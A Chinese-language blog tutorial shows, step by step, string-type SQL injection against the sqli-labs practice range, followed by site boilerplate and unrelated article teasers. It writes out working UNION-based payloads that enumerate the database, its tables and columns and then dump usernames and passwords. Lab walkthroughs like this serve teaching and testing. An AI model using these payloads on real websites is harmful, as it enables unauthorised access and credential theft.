简单的SQL字符型注入

目录

注入类型

判断字段数

确定回显点

查找数据库名

查找数据库表名 

查询字段名

获取想要的数据 


以sqli-labs靶场上的简单SQL注入为例

注入类型

判断是数字类型还是字符类型

常见的闭合方式

?id=1'、?id=1"、?id=1')、?id=1")等,大多都是单引号、双引号、括号的组合。

先尝试下字符型输入:?id=1'and 1=1#或者?id=1'and 1=1--+

(如果是字符型,可以用#或者--+或者%23注释掉单引号)

如果?id=1没有回显,那么输入?id=1 or 1=1(数字型)那么肯定会回显,输入?id=1' or 1=1--+(字符型)也肯定会回显(过滤字符可能不是--+,也可能是别的),但是用?id=1 and 1=1,或者?id=1' and 1=1--+不一定回显

99b4d6248638416f95196bb67e0dd04e.png

再试下:?id=1' and 1=2--+ 

541f7988e63143e385c3517388ef4e3d.png

没有回显 

证明是字符型输入,

回显是指页面有数据信息返回。无回显是指根据输入的语句,页面没有任何变化或者没有数据库中的内容显示到网页中。

如果是数字型输入,那么就可以正常输入:1

如何判断是字符型还是数字型呢,有一种方法:

数字型:

  • 1 and 1=1  //能回显
  • 1 and 1=2  //不能回显

字符型:

  • 1' and 1=1#  //能回显
  • 1' and 1=2#   //不能回显

判断字段数

判断字段数 order by

分四次输入:1' and 1=1 oder by 1--+   1' and 1=1 oder by 2--+  1' and 1=1 oder by 3--+    1' and 1=1 oder by 4--+

前两次都是正常回显,第三次报错,显示没有第三列,说明只有两个字段 61430bc38607457b99919a045eeb358c.png

 

确定回显点

输入:1' and 1=1 union select 1,2,3--+

a92613936d9846a4be8f648c23b1e987.png

发现1,2,3三个数没有一个回显,

因为第一个查询语句把后面的给挡住了,所以要把第一个查询语句失效

可以输入:1' and 1=2 union select 1,2,3--+  或者-1' union select 1,2,3--+

8af68d2db4ae452ea2409da9b5439198.png

2,3的位置成功回显 。2,3都可以是注入点 

 

就是可以更改这些点对应的相对的输入位置可以得到不同的输出;

查找数据库名

输入:-1' union select 1,2,database()--+

c074e8e5d02944a5b781f5f58df6c6bd.png

 得到对应的数据库名字:security

查找数据库表名 

849da3c5efd44846912a2cc425bae928.png

 输入:-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+

fc5a70c29ad24eb2ba38ac65b691832a.png

得到表名:emails,但是在这个数据库中可能不止一个表,所以我们要得到所有表,而不只是一个emails表

输入:-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在mysql的关联查询或子查询中,函数 group_concat(arg) 可以合并多行的某列(或多列)数据为一行,默认以逗号分隔。

所以我们可以将tables表里面的所有tables_name表名合并成一行输出 

c55d5e0d9a7d4332a16fde4f268accb8.png

 显然我们想要的是users表

查询字段名

我们会用到上面图片中的column表

输入:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

ea6eca5c7693439697826c4bd98faa22.png 7f982a26658f4723bc8ff2000e9e8a92.png

users表下的字段数很多,显然易见,我们想要获取的只是账号密码,所以,对我们有用的是username和password字段

获取想要的数据 

输入:-1' union select 1,2,group_concat(username,'-',password) from users --+

 ceceeb0f55d746e288b39f2ca349d448.png

成功得到对应的账号密码 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/797601.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

微分方程的解法(Matlab)

微分方程分为刚性微分方程和非刚性微分方程,在数值解法中的表现和行为特性上存在显著差异。 刚性微分方程(Stiffness Equation)是指其数值分析的解只有在时间间隔很小时才会稳定,只要时间间隔略大,其解就会不稳定。这…

【BUG】Python3|COPY 指令合并 ts 文件为 mp4 文件时长不对(含三种可执行源代码和解决方法)

文章目录 前言源代码FFmpeg的安装1 下载2 安装 前言 参考: python 合并 ts 视频(三种方法)使用 FFmpeg 合并多个 ts 视频文件转为 mp4 格式 Windows 平台下,用 Python 合并 ts 文件为 mp4 文件常见的有三种方法: 调用…

项目范围管理-系统架构师(二十九)

1、(重点)软件设计包括了四个独立又相互联系的活动,高质量的()将改善程序结构的模块划分,降低过程复杂度。 A程序设计 B数据设计 C算法设计 D过程设计 解析: 软件设计包含四个,…

博客前端项目学习day01

这里写自定义目录标题 登录创建项目配置环境变量,方便使用登录页面验证码登陆表单 在VScode上写前端,采用vue3。 登录 创建项目 检查node版本 node -v 创建一个新的项目 npm init vitelatest blog-front-admin 中间会弹出询问是否要安装包&#xff0c…

R语言安装devtools包失败过程总结

R语言安装devtools包时,遇到usethis包总是安装失败,现总结如下方法,亲测可有效 一、usethis包及cli包安装问题 首先,Install.packages("usethis")出现如下错误,定位到是这个cli包出现问题 载入需要的程辑包…

Mac和VirtualBox Ubuntu共享文件夹

1、VirtualBox中点击设置->共享文件夹 2、设置共享文件夹路径和名称(重点来了:共享文件夹名称) 3、保存设置后重启虚拟机,执行下面的命令 sudo mkdir /mnt/share sudo mount -t vboxsf share /mnt/share/ 注:shar…

.快速幂.

按位与(Bitwise AND)是一种二进制运算,它逐位对两个数的二进制表示进行运算。对于每一位,只有两个相应的位都为1时,结果位才为1;否则,结果位为0。如:十进制9 & 5转化为二进制&am…

基于lstm的股票Volume预测

LSTM(Long Short-Term Memory)神经网络模型是一种特殊的循环神经网络(RNN),它在处理长期依赖关系方面表现出色,尤其适用于时间序列预测、自然语言处理(NLP)和语音识别等领域。以下是…

酒店管理系统小程序的设计

管理员账户功能包括:系统首页,个人中心,用户管理,酒店管理员管理,房间类型管理,房间信息管理,订单信息管理,系统管理 微信端账号功能包括:系统首页,房间信息…

智慧校园信息化大平台整体解决方案PPT(75页)

1. 教育信息化政策 教育部印发《教育信息化2.0行动计划》,六部门联合发布《关于推进教育新型基础设施建设构建高质量教育支撑体系的指导意见》,中共中央、国务院印发《中国教育现代化2035》。这些政策文件强调了教育的全面发展、面向人人、终身学习、因…

Linux vim文本编辑器

Vim(Vi IMproved)是一个高度可配置的文本编辑器,它是Vi编辑器的增强版本,广泛用于程序开发和系统管理。Vim不仅保留了Vi的所有功能,还增加了许多新特性,使其更加强大和灵活。 Vim操作模式 普通模式&#xf…

vue3.0 项目h5,pc端实现扫描二维码 qrcode-reader-vue3

qrcode-reader-vue3 插件简述 qrcode-reader-vue3插件,允许您在不离开浏览器的情况下检测和解码二维码。 🎥 访问设备摄像头并持续扫描传入帧。QrcodeStream🚮 渲染到一个空白区域,您可以在其中拖放要解码的图像。QrcodeDropZon…

大气热力学(8)——热力学图的应用之一

本篇文章源自我在 2021 年暑假自学大气物理相关知识时手写的笔记,现转化为电子版本以作存档。相较于手写笔记,电子版的部分内容有补充和修改。笔记内容大部分为公式的推导过程。 文章目录 8.1 复习斜 T-lnP 图上的几种线8.1.1 等温线和等压线8.1.2 干绝热…

LintCode 629 · 最小生成树【困难 并查集 Java】

题目 题目链接: https://www.lintcode.com/problem/629/ 思路 核心1:对connections进行排序,根据开销升序排序 核心2:并查集,合并集合,记录下合并的边缘 核心3:如果合并完后,集合数…

Java 中的正则表达式

转义字符由反斜杠\x组成,用于实现特殊功能当想取消这些特殊功能时可以在前面加上反斜杠\ 例如在Java中当\出现时是转义字符的一部分,具有特殊意义,前面加一个反斜可以取消其特殊意义,表示1个普通的反斜杠\,\\\\表示2个…

《python程序语言设计》2018版第5章第55题利用turtle黑白棋盘。可读性还是最重要的。

今天是我从2024年2月21日开始第9次做《python程序语言设计》作者梁勇 第5章 从2019年夏天的偶然了解python到2020年第一次碰到第5章第一题。彻底放弃。再到半年后重新从第一章跑到第五章,一遍一遍一直到今天2024.7.14日第9次刷第五章。 真的每次刷完第五章感觉好像…

【题解】42. 接雨水(动态规划 预处理)

https://leetcode.cn/problems/trapping-rain-water/description/ class Solution { public:int trap(vector<int>& height) {int n height.size();// 预处理数组vector<int> lefts(n, 0);vector<int> rights(n, 0);// 预处理记录左侧最大值lefts[0] …

Python应用 | 基于flask-restful+AntDesignVue实现的一套图书管理系统

本文将分享个人自主开发的一套图书管理系统&#xff0c;后端基于Python语言&#xff0c;采用flask-restful开发后端接口&#xff0c;前端采用VueAntDesignVue实现。对其他类似系统的实现&#xff0c;比如学生管理系统等也有一定的参考作用。有问题欢迎留言讨论~ 关注公众号&am…

最新Wireshark查看包中gzip内容

虽然是很简单的事情&#xff0c;但是网上查到的查看gzip内容的方法基本都是保存成zip文件&#xff0c;然后进行二进制处理。 其实现在最新版本的Wireshark已经支持获取gzip内容了。 选中HTTP协议&#xff0c;右键选择[追踪流]->[HTTP Stream] 在弹出窗口中&#xff0c;已…

mavsdk_server安卓平台编译

1.下载好mavsdk并进入mavsdk目录 2.生成docker安卓平台文件 docker run --rm dockcross/android-arm64 >./dockcross-android-arm64 3.生成makefile ./dockcross-android-arm64 cmake -DCMAKE_BUILD_TYPERelease -DBUILD_MAVSDK_SERVERON -DBUILD_SHARED_LIBSOFF -Bbuild/…